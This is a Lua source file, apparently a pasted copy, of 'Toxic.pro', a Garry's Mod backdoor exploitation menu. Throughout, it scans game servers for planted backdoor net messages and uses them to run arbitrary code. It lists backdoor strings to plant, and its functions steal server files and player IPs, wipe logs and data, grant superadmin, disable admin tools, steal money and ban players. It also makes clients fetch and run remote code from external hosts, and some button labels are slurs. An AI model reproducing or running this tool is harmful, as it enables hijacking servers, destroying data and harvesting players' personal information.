Plist:EnableVerticalScrollbar( true )
Plist:SetPos( 10, 25 )
Plist:SetName( "" )
local function CreateACPanel( cmd )
if !acpanel then return end
local cmdp = vgui.Create( "DPanel" )
cmdp:SetSize( Plist:GetWide(), 60 )
cmdp.Cmd = cmd
cmdp.Desc = acfags[cmd].desc
cmdp.Paint = function( s, w, h )
surface.SetDrawColor( Color(50, 50, 50, 255) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(65, 65, 65, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawLine( 0, 24, w, 24 )
draw.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
end
Plist:AddItem( cmdp )
end
for k, v in pairs( acfags ) do
if v["scan"]() then CreateACPanel( k ) end
end
end)
------------------------------------------------------------------------------------------------------------
/*
COPYRIGHT 2018
YOU HAVE NO RIGHTS TO REDISTRIBUTE THIS FILE OR ANY FILES ASSOCIATED
YOU MAY NOT COPY AND PASTE THIS SCRIPT
p.s. lua run does not work
Coded by Hayden Massey (ToxicRiver) @ toxicpro.xyz (what a fucking joke)
*/
/*
Toxic.pro
Commissioned by 0xymoron for ToxicRiver
Start Date: December 27th, 2017.
First revision finished December 28th, 2017 @ 3:28AM.
January 2nd, 2017 @ 6:27AM
- This script truly has become toxic, ironic.
*/
/*
-- Possible backdoor strings to plant in a file or convince a superadmin to luarun
util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunString( str ) end )
util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() CompileString( str, "[C]", false ) end )
util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunStringEx( str ) end )
*/
/*
metastruct editor read shit
self.HTMLIDE:AddFunction("gmodinterface","OnCode",function(code) ... end)"
https://github.com/Earu/EasyChat/blob/master/lua/easychat/modules/lua_tab.lua#L140
*/
local toxic = {}
local iZNX = {}
function iZNX.ValidNetString( str )
local status, error = pcall( net.Start, str )
return status
end
local blackdoor = ""
if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then
blackdoor = "Sandbox_ArmDupe"
else
if iZNX.ValidNetString( "Sbox_darkrp" ) then
blackdoor = "Sbox_darkrp"
else
if iZNX.ValidNetString( "Sbox_itemstore" ) then
blackdoor = "Sbox_itemstore"
else
if iZNX.ValidNetString( "Ulib_Message" ) then
blackdoor = "Ulib_Message"
else
if iZNX.ValidNetString( "ULogs_Info" ) then
blackdoor = "ULogs_Info"
else
if iZNX.ValidNetString( "ITEM" ) then
blackdoor = "ITEM"
else
if iZNX.ValidNetString( "fix" ) then
blackdoor = "fix"
else
if iZNX.ValidNetString( "Fix_Keypads" ) then
blackdoor = "Fix_Keypads"
else
if iZNX.ValidNetString( "Remove_Exploiters" ) then
blackdoor = "Remove_Exploiters"
else
if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then
blackdoor = "noclipcloakaesp_chat_text"
else
if iZNX.ValidNetString( "_Defqon" ) then
blackdoor = "_Defqon"
else
if iZNX.ValidNetString( "_CAC_ReadMemory" ) then
blackdoor = "_CAC_ReadMemory"
else
if iZNX.ValidNetString( "nostrip" ) then
blackdoor = "nostrip"
else
if iZNX.ValidNetString( "nocheat" ) then
blackdoor = "nocheat"
else
if iZNX.ValidNetString( "LickMeOut" ) then
blackdoor = "LickMeOut"
else
if iZNX.ValidNetString( "ULX_QUERY2" ) then
blackdoor = "ULX_QUERY2"
else
if iZNX.ValidNetString( "ULXQUERY2" ) then
blackdoor = "ULXQUERY2"
else
if iZNX.ValidNetString( "MoonMan" ) then
blackdoor = "MoonMan"
else
if iZNX.ValidNetString( "Im_SOCool" ) then
blackdoor = "Im_SOCool"
else
if iZNX.ValidNetString( "Sandbox_GayParty" ) then
blackdoor = "Sandbox_GayParty"
else
if iZNX.ValidNetString( "DarkRP_UTF8" ) then
blackdoor = "DarkRP_UTF8"
else
if iZNX.ValidNetString( "oldNetReadData" ) then
blackdoor = "oldNetReadData"
else
if iZNX.ValidNetString( "memeDoor" ) then
blackdoor = "memeDoor"
else
if iZNX.ValidNetString( "BackDoor" ) then
blackdoor = "BackDoor"
else
if iZNX.ValidNetString( "OdiumBackDoor" ) then
blackdoor = "OdiumBackDoor"
else
if iZNX.ValidNetString( "SessionBackdoor" ) then
blackdoor = "SessionBackdoor"
else
if iZNX.ValidNetString( "DarkRP_AdminWeapons" ) then
blackdoor = "DarkRP_AdminWeapons"
else
if iZNX.ValidNetString( "cucked" ) then
blackdoor = "cucked"
else
if iZNX.ValidNetString( "NoNerks" ) then
blackdoor = "NoNerks"
else
if iZNX.ValidNetString( "kek" ) then
blackdoor = "kek"
else
if iZNX.ValidNetString( "ZimbaBackDoor" ) then
blackdoor = "ZimbaBackDoor"
else
if iZNX.ValidNetString( "something" ) then
blackdoor = "something"
else
if iZNX.ValidNetString( "random" ) then
blackdoor = "random"
else
if iZNX.ValidNetString( "strip0" ) then
blackdoor = "strip0"
else
if iZNX.ValidNetString( "fellosnake" ) then
blackdoor = "fellosnake"
else
if iZNX.ValidNetString( "enablevac" ) then
blackdoor = "enablevac"
else
if iZNX.ValidNetString( "idk" ) then
blackdoor = "idk"
else
if iZNX.ValidNetString( "c" ) then
blackdoor = "c"
else
if iZNX.ValidNetString( "killserver" ) then
blackdoor = "killserver"
else
if iZNX.ValidNetString( "fuckserver" ) then
blackdoor = "fuckserver"
else
if iZNX.ValidNetString( "cvaraccess" ) then
blackdoor = "cvaraccess"
else
if iZNX.ValidNetString( "rcon" ) then
blackdoor = "rcon"
else
if iZNX.ValidNetString( "rconadmin" ) then
blackdoor = "rconadmin"
else
if iZNX.ValidNetString( "web" ) then
blackdoor = "web"
else
if iZNX.ValidNetString( "jesuslebg" ) then
blackdoor = "jesuslebg"
else
if iZNX.ValidNetString( "zilnix" ) then
blackdoor = "zilnix"
else
if iZNX.ValidNetString( "Þà?D)◘" ) then
blackdoor = "Þà?D)◘"
else
if iZNX.ValidNetString( "disablebackdoor" ) then
blackdoor = "disablebackdoor"
else
if iZNX.ValidNetString( "kill" ) then
blackdoor = "kill"
else
if iZNX.ValidNetString( "DefqonBackdoor" ) then
blackdoor = "DefqonBackdoor"
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
toxic.Version = "1.2b"
toxic.Aids = {
"kill them with buttons",
"you are the admen now",
"odium copy paste!!!11!1",
"tricking dumb admens since 2k17",
"what servers can i use this on???",
"#1 in backdoor 2k17 e-peen contest",
"leaked on release day™",
"here come the hax",
"leaked by homeless meme",
}
/*
Backend functions
*/
function toxic.Init()
if !file.IsDir( "toxic.pro", "DATA" ) then file.CreateDir( "toxic.pro" ) end
if !file.IsDir( "toxic.pro/files", "DATA" ) then file.CreateDir( "toxic.pro/files" ) end
if !file.IsDir( "toxic.pro/files/lua", "DATA" ) then file.CreateDir( "toxic.pro/files/lua" ) end
end
function toxic.Track()
-- TODO: php tracking & shit
end
function toxic.PostLua( str )
net.Start( blackdoor )
net.WriteString( str )
net.SendToServer()
end
function toxic.Notify( msg )
chat.AddText( Color( 255, 0, 0 ), "[Toxic.pro] ", color_white, msg )
end
/*
user interface
*/
function toxic.AddButton( name, parent, func )
local button = parent:Add( "DButton" )
button:SetText( "" )
button:Dock( TOP )
button:DockMargin( 0, 0, 0, 5 )
button:SetSize( 100, 25 )
button.DoClick = func
button.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 0, 0, 0, 200 ) )
draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
end
toxic.ButtonPos = toxic.ButtonPos + 30
end
function toxic.AddCategorySpacer( name, col, parent )
toxic.ButtonPos = toxic.ButtonPos + 5
local button = parent:Add( "DButton" )
button:SetText( "" )
button:Dock( TOP )
button:DockMargin( 0, 0, 0, 5 )
button:SetSize( 100, 25 )
button:SetEnabled( false )
button.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( col.r, col.g, col.b, 200 ) )
draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 )
end
toxic.ButtonPos = toxic.ButtonPos + 35
end
function toxic.OpenTextDocument( path, str, parent )
local hostname = string.gsub( GetHostName(), "%W", "" )
toxic.Notify( "Received file " .. path )
local frame = vgui.Create( "DFrame" )
frame:SetSize( ScrW() - ( parent:GetWide() + 75 ), ScrH() - 50 )
frame:SetPos( parent:GetWide() + 50, 25 )
frame:SetTitle( GetHostName() .. "'s " .. path )
frame:MakePopup()
frame:ShowCloseButton( false )
frame:SetDraggable( false )
frame.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
end
local close = vgui.Create( "DButton", frame )
close:SetSize( 50, 20 )
close:SetPos( frame:GetWide() - close:GetWide(), 0 )
close:SetText( "x" )
close:SetTextColor( Color( 255, 255, 255 ) )
close:SetFont( "DebugFixed" )
close.Paint = function()
draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
end
close.DoClick = function()
frame:Close()
end
local html = vgui.Create( "DHTML", frame )
html:SetPos( 5, 30 )
html:SetSize( frame:GetWide() - 10, frame:GetTall() - 35 )
html:OpenURL( "https://metastruct.github.io/lua_editor/" )
html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( str ) .. "' )" )
local save = vgui.Create( "DButton", frame )
save:SetSize( 60, 20 )
save:SetPos( frame:GetWide() - close:GetWide() - save:GetWide() - 5, 0 )
save:SetText( "Save As" )
save:SetTextColor( Color( 255, 255, 255 ) )
save:SetFont( "DebugFixed" )
save.Paint = function()
draw.RoundedBox( 0, 0, 0, save:GetWide(), save:GetTall(), Color( 62, 168, 62, 255 ) )
end
save.DoClick = function()
Derma_StringRequest( "Save file '" .. path .. "' to data/toxic.pro/files/" .. hostname .. "/", "File name (e.g: servercfg or servercfg.txt)", "", function( text )
if !string.find( text, ".txt" ) then text = text .. ".txt" end
if !file.IsDir( "toxic.pro/files/" .. hostname, "DATA" ) then file.CreateDir( "toxic.pro/files/" .. hostname ) end
file.Write( "toxic.pro/files/" .. hostname .. "/" .. text, str )
toxic.Notify( "Saved source to data/toxic.pro/files/" .. hostname .. "/" .. text )
end )
end
end
toxic.LuaStr = ""
function toxic.OpenLuaEditor( parent )
local frame = vgui.Create( "DFrame" )
frame:SetSize( ScrW() - ( parent:GetWide() + 75 ), ScrH() - 50 )
frame:SetPos( parent:GetWide() + 50, 25 )
frame:SetTitle( "" )
frame:MakePopup()
frame:ShowCloseButton( false )
frame:SetDraggable( false )
frame.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) )
draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
end
local close = vgui.Create( "DButton", frame )
close:SetSize( 50, 20 )
close:SetPos( frame:GetWide() - close:GetWide(), 0 )
close:SetText( "x" )
close:SetTextColor( Color( 255, 255, 255 ) )
close:SetFont( "DebugFixed" )
close.Paint = function()
draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
end
close.DoClick = function()
frame:Close()
end
local html = vgui.Create( "DHTML", frame )
html:SetPos( 5, 30 )
html:SetSize( frame:GetWide() - 10, frame:GetTall() - 35 )
html:OpenURL( "https://metastruct.github.io/lua_editor/" )
html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( toxic.LuaStr ) .. "' )" )
html:AddFunction( "gmodinterface", "OnCode", function( code ) -- thanks easychat
toxic.LuaStr = code
end )
local run = vgui.Create( "DButton", frame )
run:SetSize( 60, 20 )
run:SetPos( 0, 0 )
run:SetText( "Run" )
run:SetTextColor( Color( 255, 255, 255 ) )
run:SetFont( "DebugFixed" )
run.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 62, 168, 255 ) )
end
run.DoClick = function()
local options = DermaMenu()
options:AddOption( "Server", function()
toxic.PostLua( toxic.LuaStr )
toxic.Notify( "Ran Lua on server" )
end ):SetImage( "icon16/server.png" )
options:AddOption( "All Clients", function()
toxic.PostLua( [[
for k, v in next, player.GetAll() do
v:SendLua( ']] .. toxic.LuaStr .. [[' )
end
]] )
toxic.Notify( "Ran Lua on all clients" )
end ):SetImage( "icon16/computer_add.png" )
local players, menu = options:AddSubMenu( "Client" )
menu:SetIcon( "icon16/user.png" )
for k, v in next, player.GetAll() do
players:AddOption( v:Nick(), function()
local id = v:UserID()
toxic.PostLua( [[
local id = ]] .. id .. [[
Player( id ):SendLua( ']] .. toxic.LuaStr .. [[' )
]] )
toxic.Notify( "Ran Lua on " .. v:Nick() )
end )
end
options:Open()
end
local save = vgui.Create( "DButton", frame )
save:SetSize( 60, 20 )
save:SetPos( run:GetWide() + 5, 0 )
save:SetText( "Save" )
save:SetTextColor( Color( 255, 255, 255 ) )
save:SetFont( "DebugFixed" )
save.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 168, 62, 255 ) )
end
save.DoClick = function()
Derma_StringRequest( "Save file to data/toxic.pro/files/lua", "File name (e.g: aimbot or aimbot.txt)", "", function( text )
if !string.find( text, ".txt" ) then text = text .. ".txt" end
file.Write( "toxic.pro/files/lua/" .. text, toxic.LuaStr )
toxic.Notify( "Saved source to data/toxic.pro/files/lua/" .. text )
end )
end
local load = vgui.Create( "DButton", frame )
load:SetSize( 60, 20 )
load:SetPos( run:GetWide() + load:GetWide() + 10, 0 )
load:SetText( "Load" )
load:SetTextColor( Color( 255, 255, 255 ) )
load:SetFont( "DebugFixed" )
load.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 168, 148, 62, 255 ) )
end
load.DoClick = function()
local options = DermaMenu()
for k, v in pairs( file.Find( "toxic.pro/files/lua/*.txt", "DATA" ) ) do
options:AddOption( v, function()
local str = file.Read( "toxic.pro/files/lua/" .. v, "DATA" )
MsgN( str )
toxic.LuaStr = str
html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( str ) .. "' )" )
toxic.Notify( "Loaded " .. v )
end )
end
options:Open()
end
end
function toxic.UI()
toxic.ButtonPos = 30
local frame = vgui.Create( "DFrame" )
frame:SetTitle( "Toxic.pro v" .. toxic.Version .. " | by 0xymoron ~ " .. table.Random( toxic.Aids ) )
frame:SetSize( 550, 400 )
frame:SetPos( 25, 25 )
frame:MakePopup()
frame:ShowCloseButton( false )
frame:SetDraggable( false )
frame.Paint = function( self )
local hsv = HSVToColor( RealTime() * 120 % 360, 1, 1 )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( hsv.r, hsv.g, hsv.b, 150 ) ) -- old: Color( 140, 0, 0, 150 )
draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) )
surface.SetFont( "CloseCaption_Bold" )
local str1 = "Toxic.pro Version " .. toxic.Version
local str1_width, str1_height = surface.GetTextSize( str1 )
local str2 = "by 0xymoron"
local str2_width, str2_height = surface.GetTextSize( str2 )
draw.SimpleText( str1, "CloseCaption_Bold", frame:GetWide() / 2 + 2.5, 65, color_white, 1, 1 )
draw.SimpleText( str2, "CloseCaption_Bold", frame:GetWide() / 2 + 2.5, frame:GetTall() - str2_height - 25, color_white, 1, 1 )
end
local close = vgui.Create( "DButton", frame )
close:SetSize( 50, 20 )
close:SetPos( frame:GetWide() - 50, 0 )
close:SetText( "x" )
close:SetTextColor( Color( 255, 255, 255 ) )
close:SetFont( "DebugFixed" )
close.Paint = function()
draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) )
end
close.DoClick = function()
frame:Close()
end
local set = vgui.Create( "DButton", frame )
set:SetSize( 40, 20 )
set:SetPos( frame:GetWide() - close:GetWide() - set:GetWide() - 5, 0 )
set:SetText( "Set" )
set:SetTextColor( Color( 255, 255, 255 ) )
set:SetFont( "DebugFixed" )
set.Paint = function( self )
draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 62, 168, 62, 255 ) )
end
local netmsg = vgui.Create( "DTextEntry", frame )
netmsg:SetSize( 75, 20 )
netmsg:SetPos( frame:GetWide() - close:GetWide() - netmsg:GetWide() - set:GetWide() - 10, 0 )
netmsg:SetText( blackdoor )
netmsg.OnEnter = function( self )
toxic.Notify( "Set backdoored net message to '" .. netmsg:GetValue() .. "'" )
blackdoor = self:GetValue()
end
set.DoClick = function( self )
blackdoor = netmsg:GetValue()
toxic.Notify( "Set backdoored net message to '" .. netmsg:GetValue() .. "'" )
end
local panel = vgui.Create( "DScrollPanel", frame )
panel:SetPos( 5, 30 )
panel:SetSize( 150, frame:GetTall() - 35 )
local html = vgui.Create( "HTML", frame )
html:SetPos( panel:GetWide() + 20, 95 )
html:SetSize( 240, 215 )
html:SetHTML( [[
<img src="http://www.clker.com/cliparts/c/e/8/f/12387015421849960016GameFreak7744_Biohazard_symbol.svg.med.png" alt="Img" style="width:200px;height:195px;">
]] )
/**************************************
Player Management
***************************************/
local dlist = vgui.Create( "DListView", frame )
dlist:SetSize( 140, frame:GetTall() - 35 )
dlist:SetPos( frame:GetWide() - dlist:GetWide() - 5, 30 )
dlist:SetMultiSelect( false )
dlist:AddColumn( "Players" )
for k, v in next, player.GetAll() do
dlist:AddLine( v:Nick() )
end
dlist.OnClickLine = function( parent, line, self )
for k, v in next, player.GetAll() do
if v:Nick() == line:GetValue( 1 ) then
dlist.SelectedEntity = v
else
continue
end
end
end
dlist.OnRowRightClick = function( parent, line, isselected )
surface.PlaySound( "buttons/button9.wav" )
local id = dlist.SelectedEntity:UserID()
local target = Player( id )
local options = DermaMenu()
options:AddOption( "Kick", function()
toxic.PostLua( [[
Player( ]] .. id .. [[ ):Kick()
]] )
toxic.Notify( "Kicked " .. target:Nick() )
if dlist then
dlist:RemoveLine( line )
end
end ):SetImage( "icon16/door_out.png" )
options:AddOption( "Silent Slay", function()
toxic.PostLua( [[
Player( ]] .. id .. [[ ):KillSilent()
]] )
toxic.Notify( "Silently slayed " .. target:Nick() )
end ):SetImage( "icon16/lightning.png" )
options:AddOption( "Freeze", function()
toxic.PostLua( [[
local ply = Player( ]] .. id .. [[ )
ply:Freeze( !ply:IsFrozen() )
]] )
if !target:IsFrozen() then
toxic.Notify( "Froze " .. target:Nick() )
else
toxic.Notify( "Unfroze " .. target:Nick() )
end
end ):SetImage( "icon16/tux.png" )
options:AddOption( "Give Weapon", function()
Derma_StringRequest( "Give " .. target:Nick() .. " a weapon", "What weapon? (example: weapon_ak47)", "", function( text )
toxic.PostLua( [[
local str = "]] .. text .. [["
Player( ]] .. id .. [[ ):Give( str )
]] )
toxic.Notify( "Gave " .. target:Nick() .. " a " .. text )
end )
end ):SetImage( "icon16/bomb.png" )
options:AddOption( "Give Money", function()
Derma_StringRequest( "Give " .. target:Nick() .. " money", "How much?", "", function( text )
if !isnumber( tonumber( text ) ) then return end
toxic.PostLua( [[
local str = "]] .. text .. [["
str = tonumber( str )
Player( ]] .. id .. [[ ):addMoney( str )
]] )
toxic.Notify( "Gave " .. target:Nick() .. " $" .. string.Comma( text ) )
end )
end ):SetImage( "icon16/money_add.png" )
options:AddOption( "Inject Toxic.pro", function()
local snd = table.Random( { "vo/npc/male01/herecomehacks01.wav","vo/npc/male01/herecomehacks02.wav" } ) -- stfu
toxic.PostLua( [[
Player(]] .. id .. [[):SendLua('http.Fetch("http://snixzz.net/toxic.pro/toxic.lua",function(body) RunString(body) surface.PlaySound("]] .. snd .. [[") chat.AddText(Color(255,0,0),"[Toxic.pro] ",color_white,"Welcome, run `toxic.pro` in console") end)')
]] )
toxic.Notify( "Injected Toxic.pro into " .. target:Nick() .. "'s client." )
end ):SetImage( "icon16/bug_add.png" )
options:Open()
end
/**************************************
Buttons
***************************************/
toxic.AddCategorySpacer( "Prevention", Color( 255, 0, 0 ), panel )
toxic.AddButton( "Break ULX", panel, function()
toxic.PostLua( [[ _G.ulx = function() end _G.ULib = function() end ]])
toxic.Notify( "Broke ULX, admins now have no control." )
end )
toxic.AddButton( "Break FAdmin", panel, function()
toxic.PostLua( [[
_G.FAdmin = function() end
]] )
toxic.Notify( "Killed FAdmin" )
end )
toxic.AddButton( "Wipe Logs", panel, function()
local date = os.date( "%m-%d-%y" )
toxic.PostLua( [[
file.Delete( "ulx_logs/]] .. date .. [[.txt" )
]] )
toxic.Notify( "Deleted data/ulx_logs/" .. date .. ".txt" )
end )
toxic.AddButton( "Wipe data/", panel, function()
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
local dirs = {
"ulx",
"ulx_logs",
"ulib",
"darkrp_logs",
"adv_duplicator",
"advdupe2",
"cpuchip",
"expression2",
"cw2_0",
}
for k, v in pairs( dirs ) do
for dir, _file in pairs( file.Find( v .. "/*", "DATA" ) ) do
file.Delete( v .. "/" .. _file )
Player( id ):ChatPrint( "[Toxic.pro] Deleted file 'data/" .. v .. "/" .. _file )
end
end
for k, v in pairs( file.Find( "*", "DATA" ) ) do
file.Delete( v )
Player( id ):ChatPrint( "[Toxic.pro] Deleted file 'data/" .. v )
end
]] )
end )
toxic.AddButton( "No Kick/Ban", panel, function()
toxic.PostLua( [[
_R = debug.getregistry()
function game.KickID( id, reason )
return
end
function _R.Player.Ban()
return
end
function _R.Player.Kick()
return
end
]] )
toxic.Notify( "Nulled _R.Player.Ban & _R.Player.Kick" )
end )
toxic.AddButton( "Disable !cake", panel, function()
toxic.PostLua( [[ _G.cac = function() end]] )
toxic.Notify( "Attempted to disable !cake's anti-cheat, probably failed." )
end )
toxic.AddCategorySpacer( "DarkRP", Color( 0, 200, 0 ), panel )
toxic.AddButton( "Steal Money", panel, function()
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
for k, v in next, player.GetAll() do
if v:Nick() == "]] .. LocalPlayer():Nick() .. [[" then
continue
end
local bal = v:getDarkRPVar( "money" ) or 9999999
v:addMoney( -bal )
Player( id ):addMoney( bal )
Player( id ):ChatPrint( "[Toxic.pro] Stole $" .. string.Comma( bal ) .. " from " .. v:Nick() )
end
]] )
end )
toxic.AddButton( "Wipe All Money", panel, function()
toxic.PostLua( [[RunConsoleCommand( "rp_resetallmoney" )]] )
toxic.Notify( "Wiped DarkRP money database" )
end )
toxic.AddButton( "Change All Names", panel, function()
Derma_StringRequest( "Name Changer", "What would you like to name everyone?", "", function( text )
toxic.PostLua( [[
local str = "]] .. text .. [["
for k, v in next, player.GetAll() do
DarkRP.storeRPName( v, str )
v:setDarkRPVar( "rpname", str )
end
]] )
toxic.Notify( "Renamed everyone to '" .. text .. "'" )
end )
end )
toxic.AddButton( "Strip Weapons", panel, function()
for k, v in next, player.GetAll() do
for x, y in pairs( v:GetWeapons() ) do
net.Start( "properties" )
net.WriteString( "remove", 32 )
net.WriteEntity( y )
net.SendToServer()
end
end
toxic.Notify( "Attempted to use net 'properties' exploit to strip all players." )
end )
toxic.AddCategorySpacer( "Autism", Color( 200, 0, 200 ), panel )
toxic.AddButton( "Visual Rape", panel, function()
-- I don't like this.
toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[sound.PlayURL( 'http://riverrp.xyz/boss.mp3', 'mono', function( s ) s:Play() end )]] ) end" )
-- I don't like any of this.
toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[http.Fetch( 'https://snixzz.net/toxic.pro/disco.lua', function( body ) RunString( body ) end )]] ) end" )
end )
toxic.AddButton( "Earthquake", panel, function()
toxic.PostLua( "for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
toxic.Notify( "Earthquake started." )
end )
toxic.AddButton( "Horse", panel, function()
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
Player( id ):SetModel( "models/props_c17/statue_horse.mdl" )
Player( id ):SetMaterial( "models/debug/debugwhite" )
hook.Add( "Think", "horse", function()
if !IsValid( Player( id ) ) then return end
Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
end )
]] )
end )
toxic.AddButton( "Footsteps", panel, function()
toxic.PostLua( [[
hook.Add( "PlayerFootstep", "oooh", function( ply )
ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
end )
]] )
toxic.Notify( "Enabled moaning footsteps." )
end )
toxic.AddButton( "Spam .txt", panel, function()
Derma_StringRequest( ".txt file contents", "What would you like to put in the .txt?", "", function( text )
toxic.PostLua( [[
for i = 1, 100 do
file.Write( "toxic.pro_" .. math.random( 1, 999999 ) .. ".txt", "]] .. text .. [[" )
end
]] )
toxic.Notify( "Spamming 100 .txt files containing '" .. text .. "'" )
end )
end )
toxic.AddButton( "Spam Chat", panel, function()
Derma_StringRequest( "Message", "Chat Message", "SEIZED BY TOXIC.PRO", function( text )
toxic.PostLua( [[
util.AddNetworkString("chat_AddText")
chat = {}
function chat.AddText(...)
net.Start("chat_AddText")
net.WriteTable({...})
net.Broadcast()
end
function AddTextPly( ply, ...)
net.Start("chat_AddText")
net.WriteTable({...})
net.Send( ply )
end
for k, v in pairs( player.GetAll() ) do
v:SendLua( 'net.Receive("chat_AddText", function(len) chat.AddText( unpack( net.ReadTable() ) )end)' )
end
timer.Create( "gotEm", 1, 120, function()
local function ChatPrintRainbow( frequency, str )
local text = {}
for i = 1, #str do
table.insert( text, HSVToColor( i * frequency % 360, 1, 1 ) )
table.insert( text, string.sub( str, i, i ) )
end
chat.AddText( unpack( text ) )
end
ChatPrintRainbow( 10, "]] .. text .. [[" )
end )
]] )
end )
end )
/*toxic.AddButton( "Spam Advert", panel, function()
Derma_StringRequest( "Message", "Spam Message", "SEIZED BY TOXIC.PRO", function( text )
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
local why = ]] .. text .. [[
timer.Create( "gotEm2", 1, 120, function()
for k, v in next, player.GetAll() do
v:SetNWString( "why", why )
v:SendLua( 'RunConsoleCommand("say","/advert",LocalPlayer():GetNWString("why"))')
end
end )
]] )
end )
end )*/
toxic.AddButton( "Dance", panel, function()
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
timer.Create( "gotEm3?", 1, 120, function()
for k, v in next, player.GetAll() do
if v:UserID() == v then continue end
v:SendLua('RunConsoleCommand("act","dance")')
end
end )
]] )
toxic.Notify( "Forcing all players to run act dance" )
end )
toxic.AddCategorySpacer( "Takeover", Color( 255, 150, 0 ), panel )
toxic.AddButton( "Give Superadmin", panel, function()
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
Player( id ):SetUserGroup( "superadmin" )
]] )
toxic.Notify( "Attempted to silently force superadmin." )
end )
toxic.AddButton( "Print All IPs", panel, function()
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
for k, v in pairs( player.GetAll() ) do
Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
end
]] )
toxic.Notify( "Printed all IPs into chat." )
end )
toxic.AddButton( "Ban Everyone", panel, function()
Derma_StringRequest( "Toxic.pro Ban All", "Reason", "", function( text )
toxic.PostLua( [[
local id = ]] .. LocalPlayer():UserID() .. [[
for k, v in next, player.GetAll() do
if v:UserID() == id then continue end
v:Ban( 0, false )
v:Kick( "]] .. tostring( text ) .. [[" )
end
]] )
toxic.Notify( "Banned everyone for '" .. text .. "'" )
end )
end )
toxic.AddButton( "RCON", panel, function()
Derma_StringRequest( "Toxic.pro RCON", "Command", "", function( text )
toxic.PostLua( [[game.ConsoleCommand( "]] .. tostring( text ) .. [[" .. "\n" )]] )
toxic.Notify( "Ran command '" .. text .. "'" )
end )
end )
toxic.AddButton( "Lua Run", panel, function()
toxic.OpenLuaEditor( frame )
/*Derma_StringRequest( "Toxic.pro Lua Run", "Lua String", "", function( text )
toxic.PostLua( [[RunString( ']] .. text .. [[' )]] )
toxic.Notify( "Ran Lua '" .. text .. "'" )
end )*/
end )
toxic.AddButton( "Rename Server", panel, function()
toxic.PostLua( [[RunConsoleCommand( "hostname", "TOXIC.PRO" )]] )
toxic.Notify( "Renamed server to TOXIC.PRO" )
end )
toxic.AddButton( "Steal File", panel, function()
Derma_StringRequest( "Steal File Source", "File Path (Relative to garrysmod/) e.g: cfg/server.cfg", "", function( text )
net.Receive( "file", function( len )
local str = net.ReadString()
if str != "ERROR" then
toxic.OpenTextDocument( text, str, frame )
else
toxic.Notify( "Unable to find file " .. text .. " on the server" )
end
end )
toxic.PostLua( [[
util.AddNetworkString( "file" )
local id = ]] .. LocalPlayer():UserID() .. [[
local f = file.Open( "]] .. text .. [[", "r", "GAME" )
if !f then
net.Start( "file" )
net.WriteString( "ERROR" )
net.Send( Player( id ) )
return
end
local str = f:Read( f:Size() )
f:Close()
net.Start( "file" )
net.WriteString( str )
net.Send( Player( id ) )
]] )
toxic.Notify( "Attempted to steal file " .. text )
end )
end )
end
toxic.Init()
concommand.Add( "toxic.pro", toxic.UI )
Editor is loading...